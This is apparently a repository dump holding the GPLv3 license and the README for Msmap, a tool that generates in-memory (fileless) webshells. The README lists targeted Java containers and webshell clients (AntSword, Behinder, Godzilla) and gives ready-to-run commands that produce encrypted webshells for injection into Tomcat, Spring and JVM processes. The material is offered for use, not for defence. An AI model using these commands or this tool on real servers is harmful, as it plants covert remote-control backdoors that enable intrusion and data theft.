[
  {
    "path": "LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that license document, provided that the further restriction does\nnot survive such relicensing or conveying.\n\n  If you add terms to a covered work in accord with this section, you\nmust place, in the relevant source files, a statement of the\nadditional terms that apply to those files, or a notice indicating\nwhere to find the applicable terms.\n\n  Additional terms, permissive or non-permissive, may be stated in the\nform of a separately written license, or stated as exceptions;\nthe above requirements apply either way.\n\n  8. Termination.\n\n  You may not propagate or modify a covered work except as expressly\nprovided under this License.  Any attempt otherwise to propagate or\nmodify it is void, and will automatically terminate your rights under\nthis License (including any patent licenses granted under the third\nparagraph of section 11).\n\n  However, if you cease all violation of this License, then your\nlicense from a particular copyright holder is reinstated (a)\nprovisionally, unless and until the copyright holder explicitly and\nfinally terminates your license, and (b) permanently, if the copyright\nholder fails to notify you of the violation by some reasonable means\nprior to 60 days after the cessation.\n\n  Moreover, your license from a particular copyright holder is\nreinstated permanently if the copyright holder notifies you of the\nviolation by some reasonable means, this is the first time you have\nreceived notice of violation of this License (for any work) from that\ncopyright holder, and you cure the violation prior to 30 days after\nyour receipt of the notice.\n\n  Termination of your rights under this section does not terminate the\nlicenses of parties who have received copies or rights from you under\nthis License.  If your rights have been terminated and not permanently\nreinstated, you do not qualify to receive new licenses for the same\nmaterial under section 10.\n\n  9. Acceptance Not Required for Having Copies.\n\n  You are not required to accept this License in order to receive or\nrun a copy of the Program.  Ancillary propagation of a covered work\noccurring solely as a consequence of using peer-to-peer transmission\nto receive a copy likewise does not require acceptance.  However,\nnothing other than this License grants you permission to propagate or\nmodify any covered work.  These actions infringe copyright if you do\nnot accept this License.  Therefore, by modifying or propagating a\ncovered work, you indicate your acceptance of this License to do so.\n\n  10. Automatic Licensing of Downstream Recipients.\n\n  Each time you convey a covered work, the recipient automatically\nreceives a license from the original licensors, to run, modify and\npropagate that work, subject to this License.  You are not responsible\nfor enforcing compliance by third parties with this License.\n\n  An \"entity transaction\" is a transaction transferring control of an\norganization, or substantially all assets of one, or subdividing an\norganization, or merging organizations.  If propagation of a covered\nwork results from an entity transaction, each party to that\ntransaction who receives a copy of the work also receives whatever\nlicenses to the work the party's predecessor in interest had or could\ngive under the previous paragraph, plus a right to possession of the\nCorresponding Source of the work from the predecessor in interest, if\nthe predecessor has it or can get it with reasonable efforts.\n\n  You may not impose any further restrictions on the exercise of the\nrights granted or affirmed under this License.  For example, you may\nnot impose a license fee, royalty, or other charge for exercise of\nrights granted under this License, and you may not initiate litigation\n(including a cross-claim or counterclaim in a lawsuit) alleging that\nany patent claim is infringed by making, using, selling, offering for\nsale, or importing the Program or any portion of it.\n\n  11. Patents.\n\n  A \"contributor\" is a copyright holder who authorizes use under this\nLicense of the Program or a work on which the Program is based.  The\nwork thus licensed is called the contributor's \"contributor version\".\n\n  A contributor's \"essential patent claims\" are all patent claims\nowned or controlled by the contributor, whether already acquired or\nhereafter acquired, that would be infringed by some manner, permitted\nby this License, of making, using, or selling its contributor version,\nbut do not include claims that would be infringed only as a\nconsequence of further modification of the contributor version.  For\npurposes of this definition, \"control\" includes the right to grant\npatent sublicenses in a manner consistent with the requirements of\nthis License.\n\n  Each contributor grants you a non-exclusive, worldwide, royalty-free\npatent license under the contributor's essential patent claims, to\nmake, use, sell, offer for sale, import and otherwise run, modify and\npropagate the contents of its contributor version.\n\n  In the following three paragraphs, a \"patent license\" is any express\nagreement or commitment, however denominated, not to enforce a patent\n(such as an express permission to practice a patent or covenant not to\nsue for patent infringement).  To \"grant\" such a patent license to a\nparty means to make such an agreement or commitment not to enforce a\npatent against the party.\n\n  If you convey a covered work, knowingly relying on a patent license,\nand the Corresponding Source of the work is not available for anyone\nto copy, free of charge and under the terms of this License, through a\npublicly available network server or other readily accessible means,\nthen you must either (1) cause the Corresponding Source to be so\navailable, or (2) arrange to deprive yourself of the benefit of the\npatent license for this particular work, or (3) arrange, in a manner\nconsistent with the requirements of this License, to extend the patent\nlicense to downstream recipients.  \"Knowingly relying\" means you have\nactual knowledge that, but for the patent license, your conveying the\ncovered work in a country, or your recipient's use of the covered work\nin a country, would infringe one or more identifiable patents in that\ncountry that you have reason to believe are valid.\n\n  If, pursuant to or in connection with a single transaction or\narrangement, you convey, or propagate by procuring conveyance of, a\ncovered work, and grant a patent license to some of the parties\nreceiving the covered work authorizing them to use, propagate, modify\nor convey a specific copy of the covered work, then the patent license\nyou grant is automatically extended to all recipients of the covered\nwork and works based on it.\n\n  A patent license is \"discriminatory\" if it does not include within\nthe scope of its coverage, prohibits the exercise of, or is\nconditioned on the non-exercise of one or more of the rights that are\nspecifically granted under this License.  You may not convey a covered\nwork if you are a party to an arrangement with a third party that is\nin the business of distributing software, under which you make payment\nto the third party based on the extent of your activity of conveying\nthe work, and under which the third party grants, to any of the\nparties who would receive the covered work from you, a discriminatory\npatent license (a) in connection with copies of the covered work\nconveyed by you (or copies made from those copies), or (b) primarily\nfor and in connection with specific products or compilations that\ncontain the covered work, unless you entered into that arrangement,\nor that patent license was granted, prior to 28 March 2007.\n\n  Nothing in this License shall be construed as excluding or limiting\nany implied license or other defenses to infringement that may\notherwise be available to you under applicable patent law.\n\n  12. No Surrender of Others' Freedom.\n\n  If conditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot convey a\ncovered work so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you may\nnot convey it at all.  For example, if you agree to terms that obligate you\nto collect a royalty for further conveying from those to whom you convey\nthe Program, the only way you could satisfy both those terms and this\nLicense would be to refrain entirely from conveying the Program.\n\n  13. Use with the GNU Affero General Public License.\n\n  Notwithstanding any other provision of this License, you have\npermission to link or combine any covered work with a work licensed\nunder version 3 of the GNU Affero General Public License into a single\ncombined work, and to convey the resulting work.  The terms of this\nLicense will continue to apply to the part which is the covered work,\nbut the special requirements of the GNU Affero General Public License,\nsection 13, concerning interaction through a network will apply to the\ncombination as such.\n\n  14. Revised Versions of this License.\n\n  The Free Software Foundation may publish revised and/or new versions of\nthe GNU General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\n  Each version is given a distinguishing version number.  If the\nProgram specifies that a certain numbered version of the GNU General\nPublic License \"or any later version\" applies to it, you have the\noption of following the terms and conditions either of that numbered\nversion or of any later version published by the Free Software\nFoundation.  If the Program does not specify a version number of the\nGNU General Public License, you may choose any version ever published\nby the Free Software Foundation.\n\n  If the Program specifies that a proxy can decide which future\nversions of the GNU General Public License can be used, that proxy's\npublic statement of acceptance of a version permanently authorizes you\nto choose that version for the Program.\n\n  Later license versions may give you additional or different\npermissions.  However, no additional obligations are imposed on any\nauthor or copyright holder as a result of your choosing to follow a\nlater version.\n\n  15. Disclaimer of Warranty.\n\n  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY\nAPPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT\nHOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY\nOF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,\nTHE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM\nIS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF\nALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. Limitation of Liability.\n\n  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS\nTHE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY\nGENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE\nUSE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF\nDATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD\nPARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),\nEVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF\nSUCH DAMAGES.\n\n  17. Interpretation of Sections 15 and 16.\n\n  If the disclaimer of warranty and limitation of liability provided\nabove cannot be given local legal effect according to their terms,\nreviewing courts shall apply local law that most closely approximates\nan absolute waiver of all civil liability in connection with the\nProgram, unless a warranty or assumption of liability accompanies a\ncopy of the Program in return for a fee.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nstate the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the program's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This program is free software: you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation, either version 3 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License\n    along with this program.  If not, see <https://www.gnu.org/licenses/>.\n\nAlso add information on how to contact you by electronic and paper mail.\n\n  If the program does terminal interaction, make it output a short\nnotice like this when it starts in an interactive mode:\n\n    <program>  Copyright (C) <year>  <name of author>\n    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, your program's commands\nmight be different; for a GUI interface, you would use an \"about box\".\n\n  You should also get your employer (if you work as a programmer) or school,\nif any, to sign a \"copyright disclaimer\" for the program, if necessary.\nFor more information on this, and how to apply and follow the GNU GPL, see\n<https://www.gnu.org/licenses/>.\n\n  The GNU General Public License does not permit incorporating your program\ninto proprietary programs.  If your program is a subroutine library, you\nmay consider it more useful to permit linking proprietary applications with\nthe library.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.  But first, please read\n<https://www.gnu.org/licenses/why-not-lgpl.html>.\n"
  },
  {
    "path": "README.md",
    "content": "# MSMAP\n\nMsmap is a Memory WebShell Generator. Compatible with various Containers, Components, Encoder, *WebShell / Proxy / Killer* and Management Clients. [简体中文](README_CN.md)\n\n[The idea behind I](https://hosch3n.github.io/2022/08/08/Msmap%E5%86%85%E5%AD%98%E9%A9%AC%E7%94%9F%E6%88%90%E6%A1%86%E6%9E%B6%EF%BC%88%E4%B8%80%EF%BC%89/), [The idea behind II](https://hosch3n.github.io/2022/08/09/Msmap%E5%86%85%E5%AD%98%E9%A9%AC%E7%94%9F%E6%88%90%E6%A1%86%E6%9E%B6%EF%BC%88%E4%BA%8C%EF%BC%89/), [The idea behind III](https://hosch3n.github.io/2022/10/29/Msmap%E5%86%85%E5%AD%98%E9%A9%AC%E7%94%9F%E6%88%90%E6%A1%86%E6%9E%B6%EF%BC%88%E4%B8%89%EF%BC%89/)\n\n![](img/a.png)\n\n![](img/b.png)\n\n![](img/c.png)\n\n<details>\n<summary>Feature [WIP]</summary>\n\n### Function\n\n- [x] Dynamic Menu\n- [x] Automatic Compilation\n- [x] Generate Script\n- [ ] Lite Mode\n- [ ] Graphical Interface\n\n### Container\n\n- Java\n  - [x] Tomcat7\n  - [x] Tomcat8\n  - [x] Tomcat9\n  - [x] Tomcat10\n  - [x] Resin3\n  - [x] Resin4\n  - [ ] WebSphere\n  - [ ] GlassFish\n  - [x] WebLogic\n  - [ ] JBoss\n  - [x] Spring*\n  - [ ] Jetty\n  - [ ] Netty\n  - [x] JVM*\n- .NET\n  - [ ] IIS\n- PHP\n- Python\n\n*: SpringHandler only support for JDK8+\n\n*: JVM Default support for `Linux Tomcat 8/9`, more versions can be adapted according to the advanced guide.\n\n### WebShell / Proxy / Killer\n\n- WebShell\n  - [x] CMD / SH\n  - [x] AntSword\n  - [x] JSPJS\n  - [x] Behinder\n  - [x] Godzilla\n\n- No need for modularity\n\n~~Proxy: Neo-reGeorg, wsproxy~~\n\n~~Killer: java-memshell-scanner, ASP.NET-Memshell-Scanner~~\n\n### Decoder / Decryptor / Hasher\n\n- Decoder\n  - [x] Base64\n  - [ ] Hex\n- Decryptor\n  - [x] XOR\n  - [x] RC4\n  - [x] AES128\n  - [x] AES256\n  - [ ] RSA\n- Hasher\n  - [x] MD5\n  - [x] SHA128\n  - [x] SHA256\n\n</details>\n\n## Usage\n\n``` bash\ngit clone git@github.com:hosch3n/msmap.git\ncd msmap\npython generator.py\n```\n\n> [Warning] MUST set a unique password, Options are case sensitive.\n\n### Advanced\n\nEdit `config/environment.py`\n\n``` python\n# Auto Compile\nauto_build = True\n\n# Base64 Encode Class File\nb64_class = True\n\n# Generate Script File\ngenerate_script = True\n\n# Compiler Absolute Path\njava_compiler_path = r\"~/jdk1.6.0_04/bin/javac\"\ndotnet_compiler_path = r\"C:\\Windows\\Microsoft.NET\\Framework\\v2.0.50727\\csc.exe\"\n```\n\nEdit `gist/java/container/tomcat/servlet.py`\n\n``` java\n// Servlet Path Pattern\nprivate static String pattern = \"*.xml\";\n```\n\nIf an encryption encoder is used in WsFilter, the password needs to be the same as the path (eg `/passwd`)\n\n`gist/java/container/jdk/javax.py` with `lib/servlet-api.jar` can be replaced depending on the target container.\n\n`pip3 install pyperclip` to support automatic copying to clipboard.\n\n## Example\n\n<details>\n<summary>CMD / SH</summary>\n\n**Command** with **Base64** Encoder | Inject Tomcat Valve\n\n`python generator.py Java Tomcat Valve Base64 CMD passwd`\n\n</details>\n\n<details>\n<summary>AntSword</summary>\n\nType **JSP** with **default** Encoder | Inject Tomcat Valve\n\n`python generator.py Java Tomcat Valve RAW AntSword passwd`\n\nType **JSP** with **[aes_128_ecb_pkcs7_padding_md5](extend/AntSword/encoder/aes_128_ecb_pkcs7_padding_md5.js)** Encoder | Inject Tomcat Listener\n\n`python generator.py Java Tomcat Listener AES128 AntSword passwd`\n\nType **JSP** with **[rc_4_sha256](extend/AntSword/encoder/rc_4_sha256.js)** Encoder | Inject Tomcat Servlet\n\n`python generator.py Java Tomcat Servlet RC4 AntSword passwd`\n\nType **JSP**  with **[xor_md5](extend/AntSword/encoder/xor_md5.js)** Encoder | AgentFiless Inject HttpServlet\n\n`python generator.py Java JDK JavaX XOR AntSword passwd`\n\nType **JSPJS** with **[aes_128_ecb_pkcs7_padding_md5](extend/AntSword/encoder/aes_128_ecb_pkcs7_padding_md5.js)** Encoder | Inject Tomcat WsFilter\n\n`python generator.py Java Tomcat WsFilter AES128 JSPJS passwd`\n\nType **JSPJS** with **[xor_md5](extend/AntSword/encoder/xor_md5.js)** Encoder | Inject Spring Handler\n\n`python generator.py Java Spring Handler XOR JSPJS passwd`\n\n</details>\n\n<details>\n<summary>Behinder</summary>\n\nType **default_aes** | Inject Tomcat Valve\n\n`python generator.py Java Tomcat Valve AES128 Behinder rebeyond`\n\nType **default_xor_base64** | Inject Spring Interceptor\n\n`python generator.py Java Spring Interceptor XOR Behinder rebeyond`\n\n</details>\n\n<details>\n<summary>Godzilla</summary>\n\nType **JAVA_AES_BASE64** | Inject Tomcat Valve\n\n`python generator.py Java Tomcat Valve AES128 Godzilla superidol`\n\nType **JAVA_AES_BASE64** | AgentFiless Inject HttpServlet\n\n`python generator.py Java JDK JavaX AES128 Godzilla superidol`\n\nType **JAVA_AES_BASE64** | Inject Spring Handler\n\n`python generator.py Java Spring Handler AES128 Godzilla superidol`\n\n> [Known issue](https://github.com/BeichenDream/Godzilla/issues/76)\n\n</details>\n\n## Reference\n\n[GodzillaMemoryShellProject](https://github.com/BeichenDream/GodzillaMemoryShellProject)\n\n[AntSword-JSP-Template](https://github.com/AntSwordProject/AntSword-JSP-Template)\n\n[As-Exploits memshell_manage](https://github.com/yzddmr6/As-Exploits/tree/master/core/memshell_manage)\n\n[Behinder](https://github.com/rebeyond/Behinder) | [wsMemShell](https://github.com/veo/wsMemShell) | 